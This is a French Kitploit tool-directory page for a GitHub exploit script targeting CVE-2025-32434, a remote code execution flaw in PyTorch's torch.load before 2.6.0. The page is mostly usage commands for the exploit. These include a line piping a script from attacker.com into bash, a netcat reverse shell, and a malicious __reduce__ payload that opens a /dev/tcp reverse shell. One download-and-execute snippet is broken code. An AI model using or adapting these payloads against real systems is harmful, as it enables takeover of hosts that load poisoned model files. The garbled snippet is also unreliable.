Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-32434-exploit — Un script pour exploiter une vulnérabilité dans PyTorch avec une RCE subséquente dans les versions de la bibliothèque < 2.6.0 | Kitploit
Outils/GitHubGitHub/b1tbit/cve-2025-32434-exploit
Génération de PayloadsAnalyse des VulnérabilitésExploitationTests d'IntrusionCommandement et ContrôleOutil d'Accès à Distance
GitHubb1tbit/cve-2025-32434-exploit

CVE-2025-32434-exploit

Un script pour exploiter une vulnérabilité dans PyTorch avec une RCE subséquente dans les versions de la bibliothèque < 2.6.0

Voir le dépôt
4il y a 4 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Aperçu

Cet exploit démontre une vulnérabilité critique d'exécution de code à distance (CVE-2025-32434) dans les versions de PyTorch < 2.6.0. La faille existe dans la fonction torch.load() même en utilisant weights_only=True, qui est censé empêcher l'exécution arbitraire de code lors de la désérialisation du modèle.

La vulnérabilité se produit car l'implémentation de _weights_only_unpickler ne parvient pas à restreindre correctement la désérialisation, permettant aux attaquants de créer des fichiers de modèle .pt malveillants qui exécutent des commandes système arbitraires lorsqu'ils sont chargés par des installations PyTorch vulnérables.

  • Versions concernées : PyTorch < 2.6.0
  • Score CVSS : Critique (estimé 9.8)
  • Impact : RCE complète sur l'hôte chargeant le modèle

Utilisation

  1. Enregistrez-le sous exploit.py
  2. Exécutez-le pour créer un fichier de modèle malveillant :
root@kitploit:~
# Basic usage - creates model that touches /tmp/pwned
python3 exploit.py
# Execute custom command
python3 exploit.py -c "id > /tmp/whoami"
# Test the exploit (loads the model to verify RCE)
python3 exploit.py -c "id" -t
# Advanced exploit variant with alternative bypass
python3 exploit.py --advanced -c "curl -s http://attacker.com/shell.sh | bash" -t
# Save to custom filename
python3 exploit.py -f evil_model.pt -c "nc -e /bin/sh attacker.com 4444"

Exemple de sortie :

root@kitploit:~
=== CVE-2025-32434 PyTorch RCE Exploit ===
[*] Creating malicious PyTorch model...
[+] Malicious model saved as 'malicious_model.pt'
[+] Will execute command: touch /tmp/pwned
[+] Created malicious model: malicious_model.pt

[*] Testing exploit...
[+] PyTorch version: 2.5.1+cu121
[+] Version is vulnerable to CVE-2025-32434
[*] Loading malicious model with weights_only=True...
[*] This should be safe, but due to CVE-2025-32434 it's not!
[+] Model loaded successfully

Personnalisation

Modifiez les méthodes reduce() dans create_malicious_model() ou create_advanced_exploit() :

root@kitploit:~
# Example: Reverse shell payload
class ExploitPayload:
    def __reduce__(self):
        return (eval, ("__import__('os').system('bash -i >& /dev/tcp/10.0.0.1/4444 0>&1')",))

# Example: File download + execute
return (eval, ("__import__('urllib.request').urlopen('http://attacker.com/payload.sh').read().decode().strip() | __import__('os').system",))

Vérification

Vérifier la vulnérabilité de la cible

root@kitploit:~
import torch
print(f"PyTorch: {torch.__version__}")
# Vulnerable if < 2.6.0
Télécharger l’outil